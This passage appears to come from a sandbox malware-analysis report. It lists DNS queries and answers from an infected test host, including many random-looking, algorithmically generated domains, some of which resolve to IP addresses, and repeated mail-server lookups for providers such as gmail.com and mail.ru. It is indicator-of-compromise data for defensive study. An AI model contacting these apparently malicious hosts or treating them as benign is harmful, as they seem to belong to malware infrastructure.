Nov 7, 2022 22:26:07.691740990 CET	192.168.2.5	8.8.8.8	0x1df5	Standard query (0)	wpraeqahma.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.714616060 CET	192.168.2.5	8.8.8.8	0x171e	Standard query (0)	napenhsmha.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.740569115 CET	192.168.2.5	8.8.8.8	0x6acc	Standard query (0)	manrhhmrsn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.761531115 CET	192.168.2.5	8.8.8.8	0x7188	Standard query (0)	rqsepprwmh.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.902430058 CET	192.168.2.5	8.8.8.8	0xa87f	Standard query (0)	wnrphnsawn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.925472975 CET	192.168.2.5	8.8.8.8	0xf17b	Standard query (0)	npeewrpmsh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.948347092 CET	192.168.2.5	8.8.8.8	0xae1	Standard query (0)	spmpesqama.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.972398996 CET	192.168.2.5	8.8.8.8	0xe3eb	Standard query (0)	rpwrwpqmrs.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.133560896 CET	192.168.2.5	8.8.8.8	0x6831	Standard query (0)	smspppawmn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.158026934 CET	192.168.2.5	8.8.8.8	0x6faf	Standard query (0)	pmrqmemawa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.203018904 CET	192.168.2.5	8.8.8.8	0x4233	Standard query (0)	wmphheprha.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.727200985 CET	192.168.2.5	8.8.8.8	0x6180	Standard query (0)	prmaahsmqs.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.752922058 CET	192.168.2.5	8.8.8.8	0xbe62	Standard query (0)	emhmmwaasa.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.281678915 CET	192.168.2.5	8.8.8.8	0xbe5c	Standard query (0)	pehprrmnns.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.309261084 CET	192.168.2.5	8.8.8.8	0xf6d2	Standard query (0)	hwenrqmmmh.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.335180044 CET	192.168.2.5	8.8.8.8	0xa24d	Standard query (0)	nhamrnqsps.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.359019041 CET	192.168.2.5	8.8.8.8	0x625	Standard query (0)	wpnermpasr.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.386496067 CET	192.168.2.5	8.8.8.8	0xc692	Standard query (0)	nnhssqsasr.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.414721012 CET	192.168.2.5	8.8.8.8	0x9a5	Standard query (0)	mnmrweahpn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.441355944 CET	192.168.2.5	8.8.8.8	0xd72d	Standard query (0)	nhseewhaps.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.468236923 CET	192.168.2.5	8.8.8.8	0xf43	Standard query (0)	msaemqshmh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.494165897 CET	192.168.2.5	8.8.8.8	0x69b2	Standard query (0)	aewnhwwpwa.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.522382975 CET	192.168.2.5	8.8.8.8	0xd751	Standard query (0)	snarawppsr.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.549777031 CET	192.168.2.5	8.8.8.8	0xde57	Standard query (0)	qsaqhnrwwn.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.820463896 CET	192.168.2.5	8.8.8.8	0xfb53	Standard query (0)	swqrheamea.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2022 22:24:10.024429083 CET	8.8.8.8	192.168.2.5	0x8749	Name error (3)	shpqsasmrn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:10.100068092 CET	8.8.8.8	192.168.2.5	0x3717	No error (0)	rmhhhmswqh.org		72.251.233.245	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:11.053744078 CET	8.8.8.8	192.168.2.5	0x6935	No error (0)	whenaeqsar.in		107.6.74.76	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:11.863540888 CET	8.8.8.8	192.168.2.5	0x6c9f	No error (0)	pqarseshhn.in		173.231.189.15	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:12.371695995 CET	8.8.8.8	192.168.2.5	0xb9c8	No error (0)	meahewphwa.in		199.21.76.81	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.079030037 CET	8.8.8.8	192.168.2.5	0x1c7e	Name error (3)	psmrewwhhh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.568582058 CET	8.8.8.8	192.168.2.5	0x1e95	No error (0)	hmpasnpmas.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.648111105 CET	8.8.8.8	192.168.2.5	0xebba	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.854942083 CET	8.8.8.8	192.168.2.5	0x5ffe	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.854942083 CET	8.8.8.8	192.168.2.5	0x5ffe	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.854942083 CET	8.8.8.8	192.168.2.5	0x5ffe	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.854942083 CET	8.8.8.8	192.168.2.5	0x5ffe	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.854942083 CET	8.8.8.8	192.168.2.5	0x5ffe	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.859056950 CET	8.8.8.8	192.168.2.5	0x4a5d	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.861738920 CET	8.8.8.8	192.168.2.5	0x8e24	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:13.887742996 CET	8.8.8.8	192.168.2.5	0x46b8	Name error (3)	raheepmpnn.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.891781092 CET	8.8.8.8	192.168.2.5	0xd06a	No error (0)	aspmx.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:13.930924892 CET	8.8.8.8	192.168.2.5	0x7883	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:14.166757107 CET	8.8.8.8	192.168.2.5	0x62b2	Name error (3)	mwpmmeshma.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.182121038 CET	8.8.8.8	192.168.2.5	0x8bfe	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.182121038 CET	8.8.8.8	192.168.2.5	0x8bfe	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.189850092 CET	8.8.8.8	192.168.2.5	0xe0f	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:14.731583118 CET	8.8.8.8	192.168.2.5	0xbee4	Name error (3)	rwqmwaahsa.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.489259005 CET	8.8.8.8	192.168.2.5	0x50f3	Name error (3)	snshrmsmmh.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.602761030 CET	8.8.8.8	192.168.2.5	0xacd1	Name error (3)	qmmmshpqan.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.660841942 CET	8.8.8.8	192.168.2.5	0xe403	Name error (3)	sephpsappn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.747185946 CET	8.8.8.8	192.168.2.5	0xb978	No error (0)	alt2.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:15.819631100 CET	8.8.8.8	192.168.2.5	0x55e6	Name error (3)	qpnrsrhean.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.046804905 CET	8.8.8.8	192.168.2.5	0x2f63	Name error (3)	hmaeshmwmh.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.150367022 CET	8.8.8.8	192.168.2.5	0x6847	Name error (3)	anmmemmqms.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.264641047 CET	8.8.8.8	192.168.2.5	0x631b	Name error (3)	swrhaapnnr.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:16.299490929 CET	8.8.8.8	192.168.2.5	0x372c	Name error (3)	ampsqhrras.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.204699993 CET	8.8.8.8	192.168.2.5	0x9fc2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.204699993 CET	8.8.8.8	192.168.2.5	0x9fc2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.204699993 CET	8.8.8.8	192.168.2.5	0x9fc2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.204699993 CET	8.8.8.8	192.168.2.5	0x9fc2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.204699993 CET	8.8.8.8	192.168.2.5	0x9fc2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.234488010 CET	8.8.8.8	192.168.2.5	0xb6ba	Name error (3)	hemqhqaema.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.238436937 CET	8.8.8.8	192.168.2.5	0x41d7	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.252506018 CET	8.8.8.8	192.168.2.5	0x86a7	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.264389038 CET	8.8.8.8	192.168.2.5	0x3927	Name error (3)	nhmqhmsrph.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.433779955 CET	8.8.8.8	192.168.2.5	0x656d	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.433779955 CET	8.8.8.8	192.168.2.5	0x656d	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.433779955 CET	8.8.8.8	192.168.2.5	0x656d	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.433779955 CET	8.8.8.8	192.168.2.5	0x656d	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.433779955 CET	8.8.8.8	192.168.2.5	0x656d	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.454817057 CET	8.8.8.8	192.168.2.5	0xd9d4	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.482192993 CET	8.8.8.8	192.168.2.5	0x550d	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:21.483428955 CET	8.8.8.8	192.168.2.5	0x3100	Name error (3)	shwwnharma.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.496315956 CET	8.8.8.8	192.168.2.5	0x71d5	No error (0)	alt1.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.507574081 CET	8.8.8.8	192.168.2.5	0xf21	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.507574081 CET	8.8.8.8	192.168.2.5	0xf21	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.512192965 CET	8.8.8.8	192.168.2.5	0xa622	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:21.513309002 CET	8.8.8.8	192.168.2.5	0xa5f8	Name error (3)	namrhepwnn.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:22.094958067 CET	8.8.8.8	192.168.2.5	0x8c51	Name error (3)	wwqeemeesr.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.312166929 CET	8.8.8.8	192.168.2.5	0x71b2	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.313394070 CET	8.8.8.8	192.168.2.5	0xe086	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.326142073 CET	8.8.8.8	192.168.2.5	0xc739	Name error (3)	prnaqpsqar.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.361746073 CET	8.8.8.8	192.168.2.5	0xede5	Name error (3)	memmshersa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.416784048 CET	8.8.8.8	192.168.2.5	0x899	Name error (3)	rwneseeers.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:23.747703075 CET	8.8.8.8	192.168.2.5	0x4b91	No error (0)	enahmnhqah.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.436045885 CET	8.8.8.8	192.168.2.5	0x72fc	Name error (3)	nmnhwanmwh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.454941988 CET	8.8.8.8	192.168.2.5	0x44cc	No error (0)	aspmx3.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.484760046 CET	8.8.8.8	192.168.2.5	0x9460	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.484842062 CET	8.8.8.8	192.168.2.5	0x9ef	Name error (3)	shmsemwams.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.758313894 CET	8.8.8.8	192.168.2.5	0x84fa	Name error (3)	nnrhanmhwn.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.812716961 CET	8.8.8.8	192.168.2.5	0x686	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.836111069 CET	8.8.8.8	192.168.2.5	0x894	Name error (3)	hsqrpmnhwa.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:24.968696117 CET	8.8.8.8	192.168.2.5	0xf1ec	Name error (3)	pnhhpawqpa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.017069101 CET	8.8.8.8	192.168.2.5	0xbb5f	Name error (3)	hpeemnapan.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.046847105 CET	8.8.8.8	192.168.2.5	0x5cf5	Name error (3)	amnrsmaaqh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:25.653275013 CET	8.8.8.8	192.168.2.5	0x9cc3	No error (0)	erwrahwnhs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.436367035 CET	8.8.8.8	192.168.2.5	0x3843	Name error (3)	prmnsewqws.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.567980051 CET	8.8.8.8	192.168.2.5	0x3b63	Name error (3)	mhwrraqnwa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.800322056 CET	8.8.8.8	192.168.2.5	0xc9c3	Name error (3)	pswmhhehwn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:26.885555029 CET	8.8.8.8	192.168.2.5	0xcd8f	Name error (3)	snrhmanqhh.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:27.115731001 CET	8.8.8.8	192.168.2.5	0x3d91	Name error (3)	qmasphhsah.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:28.214340925 CET	8.8.8.8	192.168.2.5	0x1a2e	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:28.252969980 CET	8.8.8.8	192.168.2.5	0x726	No error (0)	emasqpamqs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:29.111326933 CET	8.8.8.8	192.168.2.5	0xbc32	Name error (3)	qpsnmphmhn.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:29.282458067 CET	8.8.8.8	192.168.2.5	0xdd53	No error (0)	eaehanqhsr.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:29.378590107 CET	8.8.8.8	192.168.2.5	0x1a2e	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.090162039 CET	8.8.8.8	192.168.2.5	0xe944	Name error (3)	pnpnsrnear.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.092024088 CET	8.8.8.8	192.168.2.5	0xfa68	No error (0)	gmail-smtp-in.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.217513084 CET	8.8.8.8	192.168.2.5	0xe5e0	Name error (3)	ssrnpwprpn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.271147013 CET	8.8.8.8	192.168.2.5	0x1a2e	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.720494032 CET	8.8.8.8	192.168.2.5	0x9c0e	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.844599962 CET	8.8.8.8	192.168.2.5	0xc768	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:30.887453079 CET	8.8.8.8	192.168.2.5	0x5424	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:30.902712107 CET	8.8.8.8	192.168.2.5	0x6072	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:31.157676935 CET	8.8.8.8	192.168.2.5	0xd463	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.158170938 CET	8.8.8.8	192.168.2.5	0x5340	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.164393902 CET	8.8.8.8	192.168.2.5	0x49f3	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.164393902 CET	8.8.8.8	192.168.2.5	0x49f3	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.504954100 CET	8.8.8.8	192.168.2.5	0xe88	Name error (3)	qaqamrhnhh.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:31.587522984 CET	8.8.8.8	192.168.2.5	0xe88	Name error (3)	qaqamrhnhh.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.040740013 CET	8.8.8.8	192.168.2.5	0x4e0b	Name error (3)	sphsmrhwha.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.062400103 CET	8.8.8.8	192.168.2.5	0x312e	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.097018003 CET	8.8.8.8	192.168.2.5	0x8764	Name error (3)	qhsmqqhnsh.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.171957970 CET	8.8.8.8	192.168.2.5	0x9851	Name error (3)	hqrqwrpmhh.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.204119921 CET	8.8.8.8	192.168.2.5	0x652e	Name error (3)	aenenenqsa.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.233640909 CET	8.8.8.8	192.168.2.5	0xf119	Name error (3)	wnshehamhh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.313581944 CET	8.8.8.8	192.168.2.5	0xa7e9	Name error (3)	remrpqpseh.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.845022917 CET	8.8.8.8	192.168.2.5	0x252f	Name error (3)	hwnppemeea.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.874398947 CET	8.8.8.8	192.168.2.5	0x78e9	Name error (3)	pnaqheqnsa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:32.912378073 CET	8.8.8.8	192.168.2.5	0x977c	Name error (3)	mwhnpqrmrn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.330163956 CET	8.8.8.8	192.168.2.5	0x5eeb	Name error (3)	pwramqmsms.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.358216047 CET	8.8.8.8	192.168.2.5	0xa213	Name error (3)	hmamsmwhar.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:33.607294083 CET	8.8.8.8	192.168.2.5	0xd26d	Name error (3)	pqshhpemrn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:34.638552904 CET	8.8.8.8	192.168.2.5	0xd837	No error (0)	wpqqhhspps.in		63.251.126.10	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.171009064 CET	8.8.8.8	192.168.2.5	0x325e	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.243932009 CET	8.8.8.8	192.168.2.5	0x1b4e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.243932009 CET	8.8.8.8	192.168.2.5	0x1b4e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.243932009 CET	8.8.8.8	192.168.2.5	0x1b4e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.243932009 CET	8.8.8.8	192.168.2.5	0x1b4e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.243932009 CET	8.8.8.8	192.168.2.5	0x1b4e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.253026962 CET	8.8.8.8	192.168.2.5	0xfcf8	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.253026962 CET	8.8.8.8	192.168.2.5	0xfcf8	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.253026962 CET	8.8.8.8	192.168.2.5	0xfcf8	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.253026962 CET	8.8.8.8	192.168.2.5	0xfcf8	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.253026962 CET	8.8.8.8	192.168.2.5	0xfcf8	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:35.283534050 CET	8.8.8.8	192.168.2.5	0x17f5	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.420686960 CET	8.8.8.8	192.168.2.5	0x99ad	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:35.907026052 CET	8.8.8.8	192.168.2.5	0xfdd1	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.130728006 CET	8.8.8.8	192.168.2.5	0xac12	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:38.146703959 CET	8.8.8.8	192.168.2.5	0x424a	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.192456961 CET	8.8.8.8	192.168.2.5	0x74b0	Name error (3)	nqenrpwpeh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.198570967 CET	8.8.8.8	192.168.2.5	0xd1b8	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.231436968 CET	8.8.8.8	192.168.2.5	0xa7bb	Name error (3)	spawwehsrs.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:38.358395100 CET	8.8.8.8	192.168.2.5	0x3aa0	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.789874077 CET	8.8.8.8	192.168.2.5	0xc452	Name error (3)	ppeseaqmms.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.791907072 CET	8.8.8.8	192.168.2.5	0x3216	No error (0)	aspmx3.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.794539928 CET	8.8.8.8	192.168.2.5	0xd090	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.794539928 CET	8.8.8.8	192.168.2.5	0xd090	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.794539928 CET	8.8.8.8	192.168.2.5	0xd090	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.794539928 CET	8.8.8.8	192.168.2.5	0xd090	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.794539928 CET	8.8.8.8	192.168.2.5	0xd090	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:40.818437099 CET	8.8.8.8	192.168.2.5	0x4cad	Name error (3)	msarphnewh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.821033955 CET	8.8.8.8	192.168.2.5	0x8057	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.846045971 CET	8.8.8.8	192.168.2.5	0xf	Name error (3)	pwqpewwahh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:40.855591059 CET	8.8.8.8	192.168.2.5	0x71db	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:24:41.055114985 CET	8.8.8.8	192.168.2.5	0x46bf	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.055114985 CET	8.8.8.8	192.168.2.5	0x46bf	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.064256907 CET	8.8.8.8	192.168.2.5	0x8c72	Name error (3)	hmparqsaqa.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.241873026 CET	8.8.8.8	192.168.2.5	0x58fe	Name error (3)	qsqpspspqn.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:41.291457891 CET	8.8.8.8	192.168.2.5	0x5265	Name error (3)	haearrsqhn.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.332405090 CET	8.8.8.8	192.168.2.5	0x4833	No error (0)	alt2.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.332978010 CET	8.8.8.8	192.168.2.5	0x7721	Name error (3)	qnrnwnwaas.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.349256039 CET	8.8.8.8	192.168.2.5	0xc4bf	No error (0)	gmail-smtp-in.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.378510952 CET	8.8.8.8	192.168.2.5	0x5cd9	Name error (3)	weaeprawra.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:24:42.452737093 CET	8.8.8.8	192.168.2.5	0xc960	Name error (3)	qmhqeesawh.info	none	none	A (IP address)	IN (0x0001)	false
